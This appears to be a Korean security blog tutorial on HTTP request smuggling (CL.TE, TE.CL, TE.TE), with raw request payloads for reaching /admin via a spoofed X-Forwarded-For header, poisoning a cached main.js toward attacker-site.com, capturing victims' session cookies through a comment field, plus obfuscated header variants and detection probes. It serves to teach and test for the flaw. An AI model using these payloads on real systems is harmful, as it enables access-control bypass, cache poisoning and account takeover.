HTTP request smuggling (HTTP Desync)
현대 웹 스택
현대의 웹 애플리케이션은 사용자의 요청을 최종적으로 처리하는 백엔드 애플리케이션 서버 앞에 리버스 프록시, 로드 밸런서, CDN, 웹 애플리케이션 방화벽(WAF) 등 다계층의 프론트엔드 서버를 두는 구조가 일반적이다. 이러한 구성 요소들은 종종 서로 다른 공급업체에 의해 개발되므로, HTTP 명세를 해석하는 파서(Parser)에 미묘하지만 치명적인 차이가 존재할 수 있다.
이 구조에서 성능 최적화를 위해 도입된 HTTP Keep-Alive(지속적 연결) 및 파이프라이닝(Pipelining) 기능은 결정적인 역할을 한다. 이 기능들은 여러 요청을 처리하기 위해 단일 TCP 연결을 재사용함으로써 지연 시간을 줄이도록 설계되었지만, 공격자에게는 "오염"시킬 수 있는 공유 상태의 통신 채널을 제공하는 셈이 된다. 만약 연결 재사용이 없다면, 스머글링된 요청 조각은 연결이 종료될 때 단순히 폐기되어 다음 요청에 영향을 미칠 수 없다.
HTTP request Smuggliung(HRS)
HTTP request Smuggliung(HRS)는 프론트(리버스 프록시/CDN/WAF 등)와 백엔드(원서버/애플리케이션 서버)가 HTTP 요청 경계(Request Boundary)를 서로 다르게 해석할 떄, 공격자가 한 연결에서 다은 요청 일부를 몰래 끼워 넣기(Desync)를 통해 다른 사용자의 요청/응답 흐름을 가로채거나 변조하는 취약점으로, 캐시 오염, WAF 우회, 세션 탈취, 내부 엔드포인트 강제 호출, CSRF/Host 기반 우회 등 추가 위협으로 이어질 수 있다.
- `Content-Length`헤더`
- 메시지 바디의 바이트 수를 명시한다.
- Transfer-Encoding`헤더
- 메시지 바디를 전송하는 방식(frames)자체를 규정하는 hop-by-hop 헤더
- HTTP/1.1 에서 표준적으로 쓰이는 값은 거의 chunked뿐이다.
- Chunked는 본문을 여러 청그로 쪼개 전송, 각 청크는 길이(16진수)+CRLF+데이터+CRLF로 구성됨. 마지막은 길이 0으로 종료하며, 트레일러 헤더(선언된 경우)와 빈줄로 마무리한다.
RFC 2616 명세에 두 헤더가 동시에 존재할 경우 `Content-Length` 헤더는 반드시 무시되어야 한다고 규정하고 있다.
이로 인해 위 두개의 헤더는 절대 동시에 사용하지 않는다. 이를 동시에 보낼 경우, 오류가 발생하며, 서로 다른 중간자(프록시/WAF/로드밸런서 등)가 다르게 해석하게 되면 HTTP request smuggling가 발생하게 된다.
Content-Length, Transfer-Encoding 동시 전송 문제 (CL.TE 기준)
- 프론트엔드 관점
- Content-Length 헤더를 우선시 할 경우 이 서버는 Content-Length에 명시된 만큼의 바이트만 읽고, 이를 하나의 완전한 요청으로 간주하여 백엔드로 전송한다.
- 백엔드 서버 관점
- 백엔드 서버는 Transfer-Encoding 헤더를 우선시 하며, 동일한 바이트 스트림을 수신했지만, 청크 인코딩 규칙에 따라
요청을 파싱한다.
- 백엔드 서버는 Transfer-Encoding 헤더를 우선시 하며, 동일한 바이트 스트림을 수신했지만, 청크 인코딩 규칙에 따라
- 소켓 오염
- 백엔드 서버는 프론트엔드가 보낸 데이터의 일부만을 첫 번쨰 요청으로 처리하며, 나머지 데이터는 TCP 소켓 버퍼에 남아 있으며, 데이터 조각(Prefix)은 동일한 연결을 통해 다음 도착하는 정상적인 사용자의 요청 앞에 덧붙여 쓰여진다.
CL.TE (프론트엔드가 Content-Length를 따를 경우)
해당 방식은 프론트엔드 서버가 `Content-Length` 헤더를 처리하고 백엔드 서버는 `Transfer-Encoding` 헤더를 처리하는 체인을 대상으로 한다.
- 공격자는 두 헤더를 모두 포함한 요청을 전송 -> 프론트엔드는 Content-Length 만큼만 Body를 읽고 요청을 끝냈다고 판단한다. 그러나 공격자가 그 Body 뒤에 숨겨둔 새로운 요청(스머글링 데이터)은 그대로 백엔드에 전달된다.
- 백엔드는 Transfer-Encoding: chunked를 보고 첫 번째 (0) 청크를 처리한 후, 뒤 따르는 데이터를 새로운, 완전한 요청으로
간주한다.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 56 # 프론트엔드는 본문의 56바이트 전체를 읽는다.
Transfer-Encoding: chunked # 백엔드는 Content-Length를 무시하고 청크 본문을 처리한다.
0\r\n\r\n # 0 길이 청크. 백엔드에게는 첫 요청의 끝을 의미한다.
GET /admin HTTP/1.1 # 이 부분이 "스머글링된" 요청이며, 소켓 버퍼에 남는다.
Host: vulnerable-website.com
- 의도 : FE는 CL=N만큼 전부 업스트림으로 밀어줌 ⇒ BE는 선두의 `0\r\n\r\n`을 청크 종료로 해석해 첫 요청 종료, 뒤이은 `GET /admin ...`을 ‘다음 요청’으로 파싱. 바디는 55바이트만 도착 했으므로 1바이트 부족, 그 1바이트는 다음(피해자) 요청의 첫 글자에서 보충되어 desync 성립
- 주의: N을 정확히 계산(한 바이트라도 어긋나면 깨짐). 또한 일부 프록시는 CL+TE 혼용을 정규화/차단하거나 전체 버퍼링으로 이 경로를 막을 수 있음(확실하지 않음, 환경 의존).
Chunked(0) 종료 후 소켓에 남는게 아닌가? 1Byte를 적게주는 이유
HTTP/1.1 Connection Reuse
FE는 클라이언트와의 TCP 연결을 재사용하기 위해 요청이 어디까지인지 정확히 알아야 한다.
BE 입장에서는 0\r\n\r\n 까지 읽으면 요청이 끝나고 그 뒤 GET /admin... 은 CL 과 상관없이 소켓 버퍼에 남게되지만,
그 소켓에 남는 데이터가 언제 BE에 전달되느냐는 FE의 CL에 의존한다.
- 헤더에서 Content-Length = 56 을 봄
- 바디 56바이트까지 읽기 전에는
해당 요청을 절대 BE로 완전히 전달하지 않는다 - 56바이트 모이면 비로소 "요청 한 개"라 판단하고
그 시점까지 받은 바디를 BE로 한 번에 밀어준다
공격자의 바디 데이터 전체(예: 56바이트)가
55바이트만 도착한 상황
- FE: “56바이트 와야 하는데 지금 55네? 아직 아닌데?”
- FE: 다음 TCP 패킷 기다림
- FE: 그 다음 패킷(피해자 요청) 첫 글자가 도착
- FE: “오! 이걸로 56바이트 채워졌다!”
- FE: 지금까지 모인 바디 56B(+ 피해자 요청 첫 글자 포함)을 BE에게 밀어줌
이제 BE는 그걸 이렇게 해석한다:
0\r\n\r\n ← chunk 종료 → 첫 요청 끝
GET /admin ... ← 스머글된 두 번째 요청
즉, BE에 실제로 도착하는 타이밍은 FE의 CL 로직이 결정한다
공격 포인트
FE가 “바디 부족 → 대기” 상태라서 피해자 요청의 첫 글자를 공격자 바디의 부족분을 채우는 용도로 오인하게 되고
그걸 BE로 같이 보내버리는 순간 desync가 발생한다.
단계별 예시
POST / HTTP/1.1
Host: test.com
Content-Length: 56
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: test.com
공격자는 위와 같은 PoC 를 전송한다, CL 값은 56, 실제 Body 값은 55 라고 가정한다.
여기서 FE는 56 바이트가 채워질 때까지 대기하게 된다.
단계 1 - FE는 헤더를 먼저 받는다.
CL: 56
TE: chunked
이 부분에서 FE 는 Body에 56 바이트가 들어와야 해당 요청을 완성한다.
단계 2 - FE는 들어오는 Body Bytes를 세기 시작한다.
[FE 버퍼 내부 상태]
들어온 바디: [ '0\r\n\r\nGET /admin...' ] ← 실제는 55바이트만 옴
남은 필요 바이트: 56 - 55 = 1 byte
이로인해 FE는 아직 요청이 완성되지 않았다고 생각하여 BE 에게 Forward 하지 않아 TCP 소켓에 도착한 데이터는 FE 내부 버퍼에 계속 쌓이게 된다.
단계 3 - 남은 1바이트가 들어오는 순간
GET 의 G와 같이 피해자 요청의 첫 글자가 오게되면 56바이트가 채워지게 되며, FE 내부 버퍼에 계속 쌓여있던 데이터는 BE로 전달하며 chunked 파서에서는 0\r\n\r\n → body end, 그 뒤의 G는 leftover → BE 소켓 버퍼에 남기며 이 leftover가 이후 victim 요청의 시작으로 사용된다.
Prefix(+1) 흡수 -> chunk-size desync
현대 웹 에서 표준 준수 강화. CL과 TE가 함께 오면 거부/TE 우선 + 연결 종료가 권고, 요청 전체 버퍼링/재직렬화 및 WAF 등의 발전으로 인해 CL.TE 공격 환경에서 제대로 desync가 발생되지 않는 경우가 있다.
이럴 경우 스머글할 프리픽스 요청의 `Content-Length = (즉시 제공 가능한 바디) + 1` 로 설정 → 백엔드가 바디 1바이트를 더 기다리게 만들어 다음 요청의 첫 글자 1바이트를 흡수 → 경계 붕괴(desync).를 유발할 수 있다.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
56\r\n
GET /admin HTTP/1.1
Host: vulnerable-website.com
Content-Length: 1
- 동작: FE는 `CL: 4` 때문에 `56\r\n`까지만 BE로 전달. BE는 `56`을 청크 길이(0x56) 로 보고 더 읽기를 대기. 이어 들어온 `GET /admin ... CL: 1`은 즉시 바디 0B + 1B 부족 상태가 되어, 뒤이어 보낸 다음 요청의 첫 글자 1바이트가 “흡수”됨 → 프런트엔드는 모르는 사이에 BE에서만 경계 붕괴가 성립.
Content-Length 를 딱 맞게 준다면?
본론부터 말하면, 가능하다. 환경에 따라 딱 떨어지게 주거나, 널널하게 줄 때가 나뉜다.
그 이유는 환경(프록시/서버 조합)에 따라 공격 기법과 완전한 새 요청을 만드는게 까다로울 수 있기 떄문이다.
궁극적인 목표는 동일하기 때문이다.
FE(프록시)가 한 번에 BE로 보낸 바이트 중 일부가, BE 입장에서는 “이번 요청의 바디가 아니라 다음 요청의 시작(=smuggled request)”이 되도록 만드는 것 이기 떄문이다.
POST / HTTP/1.1
Host: victim.com
Content-Length: 6
Transfer-Encoding: chunked
0\r\n\r\nX
위와 같이 딱 맞게 죽데되면, FE 은 CL: 6을 신뢰하고 0\r\n\r\nX 총 6바이트를 보고 요청을 완성하여 BE로 전달한다.
BE는 TR: chunked를 우선 적용하여 0\r\n\r\n 를 확인하여 chunked를 종료하고 그 뒤 X 를 leftover, 요청 바디가 아니므로 소켓에 남겨두게 된다.
이후 leftover인 X 뒤에 피해자의 요청이 붙게되면 아래와 같은 형식으로 완성된다.
XGET /admin HTTP/1.1
Host: victim.com
...
이 때 BE는 leftover X를 포함한 스트림에서 다음 HTTTP 요청을 파싱핟가 GET /admin ..을 새로운 요청으로 처리할 수 있고 (파서 구현에 따라 상이) 혹은 x를 헤더/바디 일부로 소모한 뒤 뒤이어 나오는 요청을 처리할 수도 있다.
즉, 두 개의 공통점은 결국 FE와 BE의 요청 종료 지점이 어긋나도록 만들어 leftover를 만들고, 그 leftover를 다음(피해자) 요청에 섞어 공격하는 것으로 공격의 본질(파서 불일치 + leftover 생성)은 동일하고 CL alignment 만 다를 뿐이다.
TE.CL (프론트엔드가 Transfer-Encoding를 따를 경우)
프론트엔드는 Transfer-Encoding을 우선시하고, 백엔드는 Content-Length를 우선시한다.
- 공격자는 청크 형식의 요청을 구성, 첫 번째 청크에는 스머글링할 요청 접두사(prefix)가 포함되며, 청크 크기는 해당 접두사 길이에 맞춰 16진수로 선언된다. 이후 요청은0\r\n\r\n 청크로 종료된다.
- 프론트엔드는 전체 청크 메시지를 처리하며 전달하지만, 백엔드는 Content-Length 헤더만 보고 명시된 작은 크기의 바이트만 읽는다, 이로 인해 첫 번째 청크의 나머지 부분(스머글링된 요청)이 버퍼에 남게 된다.
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4 # 백엔드는 본문의 4바이트("10\r\n)만 읽는다.
Transfer-Encoding: chunked # 프론트엔드는 전체 청크 요청을 처리한다.
10\r\n # 청크 크기 (16진수 10 = 16바이트)
GET /admin HTTP/1.1\r\n # 스머글링된 요청 (길이 16바이트)
\r\n
0\r\n\r\n # 종료 청크
TE.CL 에서의 바이트조작은 필요한가?
TE.CL 공격에서는 1바이트를 더 주거나 덜 주는 ‘정확한 바이트 alignment’가 필요 없다.
FE가 chunked 파서 기준으로 즉시 요청을 끝내버리기 때문이며, 남은 바이트들은 그 자체가 BE의 새로운 요청이 된다.
BE 기준 Content-Length 정렬(=바이트 맞추기)이 필요 없으며, CL.TE와 정반대 구조라고 생각하면 된다.
TE.TE
프론트 및 백엔드 모두 Transfer-Encoding을 올바르게 우선시 하지만, 둘 중 하나가 비표준적인 헤더 형식(난독화)떄문에 헤더를 인식하지 못하도록 속이는 방식으로, 난독화된 헤더를 파싱하지 못한 서버는 Content-Length를 사용하게 되어, 사실상 CL.TE 혹은 TE.CL 상황이 만들어진다.
POST / HTTP/1.1
Host: test.com
Cookie: session=NWkQgFD9QXv9sDANoaUKpJRCZLSPZxEY
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: cow
5e <-------------- X=1 까지 바이트계산(16진수)
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
# Result -> 404 not fount 반환, FE 에서 CL 제거시 5e부터를 본문으로 파싱
| 기법 | 예제 페이로드 | 파서 불일치 설명 |
| 비표준 공백 | Transfer-Encoding : chunked | 일부 파서는 콜론(`:`) 앞의 공백을 허용하지 않아 헤더를 유효한 `Transfer-Encoding`으로 인식하지 못함. |
| 탭 문자 | Transfer-Encoding:\tchunked (또는 Transfer-Encoding:[tab]chunked) |
일부 파서는 헤더 이름과 값 사이의 탭 문자를 허용하지 않거나, 탭을 공백과 동일하게 처리하지 않아 파싱 실패/무시 발생. |
| 줄 바꿈/폴딩 | Transfer-Encoding:\r\n chunked | 오래된 RFC 허용(관습적 접기)이지만 최신 파서는 보안상 obs-fold를 거부 또는 무시하여 헤더가 분리되거나 손상됨. |
| 헤더 이름 오타 | Transfer-Encoding: xchunked | 알려진 헤더 이름과 정확히 일치하지 않으면 일부 파서는 해당 헤더를 무시하거나 별도(비표준) 처리하여 동작 불일치 발생. |
| 충돌하는 중복 헤더 | Transfer-Encoding: chunked\r\nTransfer-Encoding: x | 중복 헤더 처리 정책이 서버마다 상이(첫 번째 우선, 마지막 우선, 모두 거부 등)하여 프레이밍 경계/전송 인코딩 해석이 달라짐. |
| 헤더 이름 앞 CRLF | \r\nTransfer-Encoding: chunked | 헤더 섹션 시작부에 비정상적인 CRLF가 있으면 일부 파서는 헤더 블록을 잘못 인식하거나 파싱을 중단함(헤더 누락/무시). |
공격 시나리오
내부 관리자 페이지 접근 (TE.CL)
실제로 많은 기업환경에서의 웹은 관리자 페이지에 대한 접근을 내부 IP 대역에서만 허용하도록 설정한다.
이 때 X-Forwarded-For 와 같은 클라이언트의 실제 IP를 속일 수 있는 헤더를 추가하고, HRS를 이용해 신뢰관계를 깨고, 프론트엔드의 검증을 우회하여 위조된 X-Forwarded-For 헤더를 백엔드에 전달할 수 있다.
PortSwigger 연구 글에서 TE.CL 케이스에서 프리픽스의 Content-Length는 실제 바디보다 약간 크게 잡으라고 명시
# 공격자의 요청 (Attacker's Request)
POST /some/path HTTP/1.1
Host: vulnerable-website.com
Content-Length: 46 # 백엔드는 여기까지 읽음
Transfer-Encoding: chunked # 프론트엔드는 청크 인코딩을 따름
d # 13바이트짜리 청크 시작
GPOST / HTTP/1.1 # 프론트엔드가 무시하는 접두사
0 # 청크 종료
GET /admin HTTP/1.1 # --- 스머글링될 요청 시작 ---
Host: vulnerable-website.com
X-Forwarded-For: 127.0.0.1
Content-Length: 10
x=1 # --- 스머글링될 요청 끝 ---
프론트엔드측은 Transefer-Encoding: chunked를 따르므로, d부터 0까지를 하나의 완전한 본문으로 인식 후 백엔드로 전달하지만 백엔드는 Content-Length를 따르므로, d 부터 x=1이전까지 46바이트만 읽고 요청이 끝났다고 판단한다. 이로인해 GET /admin.. 으로 시작하는 뒷 부분은 tcp 소켓 버퍼에 그대로 남아 이후 다른 사용자가 보낸 요청이 이 버퍼 뒤에 붙지만, 백엔드는 이미 버퍼에 남아있던 GET /admin 요청을 먼저 처리하여, 관리자 페이지에 접근한 수 있다.
웹 캐시 포이즈닝 (CL.TE)
/static/js/main.js 파일의 캐시를 공격자의 attacker-stie.com 으로 리다이렉션 시키도록 오염시킬 수 있다.
# 1. 공격자의 캐시 포이즈닝 요청 (Attacker's Poisoning Request)
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 110
Transfer-Encoding: chunked
0
GET /static/js/main.js HTTP/1.1
Host: attacker-site.com
...
# 2. 공격자가 즉시 보내는 캐시 트리거 요청 (Attacker's Cache Trigger Request)
GET /static/js/main.js HTTP/1.1
Host: vulnerable-website.com
- 요청시 프론트엔드는 Content-length 에 따른 요청 전체를 하나의 유효한 요청으로 백엔드로 저달하며, 백엔드에서는 Transfer-Encoding: chunked를 따르므로, 0에서 요청이 끝났다고 판단한다. 이로 인해 GET /static/js/main.js 부분은 버퍼에 남게된다.
- 공격자가 보낸 2번 요청이 백엔드에 도달하면 버퍼에 남아있던 GET /static/js/main.js ... Host: attacker-site.com뒤에 붙게되며, 백엔드는 Host 헤더가 attacker-site.com인 요청을 처리하고, 해당 사이트로 리다이렉션하는 응답을 생성한다. 프론트엔드의 캐시 서버는 이 응답을 정상적인 /static/js/main.js 에 대한 응답으로 작각하여 캐시에 저장하며, 이후 모든 사용자가 main.js 파일을 요청하면, 캐시된 악성 리다이렉션 응답을 받게된다.
세션 탈취 (TE.CL)
보통의 공격시나리오는 피해자의 요청을 블로그 댓글로 저장하여 세션 쿠키를 탈취
# 공격자의 요청 (Attacker's Request)
POST /post/comment HTTP/1.1
Host: vulnerable-website.com
Content-Length: 300 # 백엔드는 매우 긴 본문을 예상
Transfer-Encoding: chunked
e4 # 228바이트 길이의 청크
postId=123&comment= # 댓글 파라미터 시작. 값은 비어있음
0 # 청크 종료
# --- 여기까지가 프론트엔드가 인식하는 요청 ---
# --- 백엔드는 Content-Length: 300 때문에 계속 대기 중 ---
프론트엔드에서 Transfer-Encoding: chunked에 따라 0까지를 하나의 요청으로 백엔드로 전달하며, 백엔드에서는 Content-Length: 300으로 postId 이후에도 300바이트가 채워질 때 까지 TCP 소켓에서 데이터를 계속 읽기위해 대기한다. 이떄 피해자의 요청(예: `GET /my-account HTTP/1.1\r\nCookie: session=...`)이 공격자 요청의 나머지 부분으로 소켓에 기록된다. 이후 백엔드는 피해자의 요청 전체를 COMMENT 파라미터의 값으로 인식하고 데이터베이스에 저장하며, 공격자는 추후 블로그 댓글 페이지를 확인하여 피해자의 전체 요청 헤더와 세션 코키를 획득하고 계정을 탈취할 수 있다.
정상 구문인데도 불구하고, 제대로 이루어지지 않을 경우, Host 와 같이 출발지 IP 및 다음(피해자)요정이 헤더의 일부분으로 들어가는지 체크해봐야한다. 이럴 경우 GET 이더라도 CT 와 CL 헤더를 추가하여 다음(피해자)요청이 스머글링된 요청의 본문으로 들어가게끔 해야한다.
탐지 방법
시간지연을 통한 확인
조작된 요청을 보내 한쪽 서버가 추가 데이터를 기다리게 만들어, Desync가 존재할 경우 측정 가능한 시간 지연을 유발한다.
- CL.TE 탐지 : Content-Length가 너무 짧은 요청을 보낸다. 프론트엔드는 부분적인 요청을 전달하고, 백엔드는 청크 본문을 예상하며 다음 청크 크기를 기다리지만 영원히 도착하지 않아 타임아웃이 발생한다.
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4
1
A
X
- TE.CL 탐지 : 종료 청크(`0\r\n\r\n`)와 함께 더 큰 본문을 나타내는 `Content-Length` 헤더를 보낸다. 프론트엔드는 `0` 청크를 보고 요청을 전달하지만, 백엔드는 `Content-Length`를 우선하여 나머지 바이트를 기다리다가 타임아웃이 발생한다.
POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6
0
X
차등 응답 탐지 (CL.TE)
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
차등 응답 탐지 (TE.CL)
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=
0
취약점 악용 위험
1. 보안 경계 우회(WAF 및 접근제어)
스머글링된 요청은 WAF나 접근 제어 프록시 같은 프론트엔드 보안 장비에 잘 보이지 않는다. 해당 장비들은 백엔드와 요청을 다르게 파싱하기에, 프론트엔드는 /home으로의 무해한 요청을 보내지만 백엔드는 제한된 /admin 엔드포인트로의 스머글링된 요청을 수신할 수 있게 된다.
2. 웹 캐시 포이즈닝 및 디셉션
HRS를 이용해 웹 캐시를 오염시켜, 악의적인 콘텐츠를 불특정 다수의 사용자에게 제공하게 만든다.
- 캐시 포이즈닝 : 공격자는 공격자가 제어하는 서버를 가리키는 Host 헤더를 포함한 요청을 스머글링 한다. 그 직후, 캐시 가능한 정적 자원(예:/static/main.js)에 대한 요청을 보낸다. 백엔드는 스머글링된 요청에 대해 리디렉션으로 응답하고, 프론트엔드 캐시는 이 악의적인 리디렉션 응답을 /static/main.js URL에 잘못 매핑하여 캐시 항목을 오염시킨다.
- 캐시 디셉션 : 공격자는 피해자의 민감 개인 콘텐츠(예:/my-account)에 대한 요청을 스머글링한다. 다음에 도착하는 요청은 캐시 가능한 공개자원(예:/logo.png)을 요청하는 피히재의 것이다. 백엔드는 피해자의 세션 컨텍스트에서 스머글링된 요청을 처리하고 개인데이터를 반환한다. 캐시는 이 민감한 응답을 공개 /logo.png URL에 매핑하고, 공격자는 이 URL에 접근하여 피해자의 데이터를 탈취한다
3. 교차 사용자 공격 및 세션 하이재킹
공격자는 다음 사용자의 요청이 자신이 스머글링한 요청 본문에 덧붙여지도록 소켓을 오염시킬 수 있다.
- 공격자는 사용자가 입력한 데이터를 저장하는 기능(예: 블로그 댓글)을 찾는다. 이 기능에 대한 요청을 스머글링하되, 댓글 파라미터가 요청의 마지막 부분이 되도록 조작한다. 다음 사용자의 원본 요청 전쳬(COOKIE 헤더 포함)가 이 댓글 파라미터의 값으로 덧붙여져 저장된다. 댓글을 확인하는 것만으로 피해자의 세션 쿠키를 탈취할 수 있다.
4. 복합적 악용 (상호작용 없는 반사형 XSS)
HRS는 사용자의 상호작용 없이 반사영 XSS 페이로드를 전달하는데 사용될 수 있다.
- 공격자는 `User-Agent`와 같은 요청 헤더에서 반사형 XSS 취약점을 식별한다. 악성 XSS 페이로드를 해당 헤더에 포함시켜 요청을 스머글링한다. 백엔드에서 처리되는 바로 다음 요청은 어떤 사용자의 것이든 상관없이 XSS를 유발하며, 악성 스크립트가 해당 사용자의 브라우저에서 실행된다.
'Web > Web Hacking Techniques' 카테고리의 다른 글
| Blind SQL Injection in Login Logic: An Analysis (0) | 2025.09.28 |
|---|---|
| Business Logic Vulnerability (비즈니스 로직 취약점) (0) | 2025.09.14 |
| prototype pollution (0) | 2025.08.17 |
| XPath Injection (0) | 2025.07.13 |
| Server Side Includes (SSI) Injection (0) | 2025.06.26 |
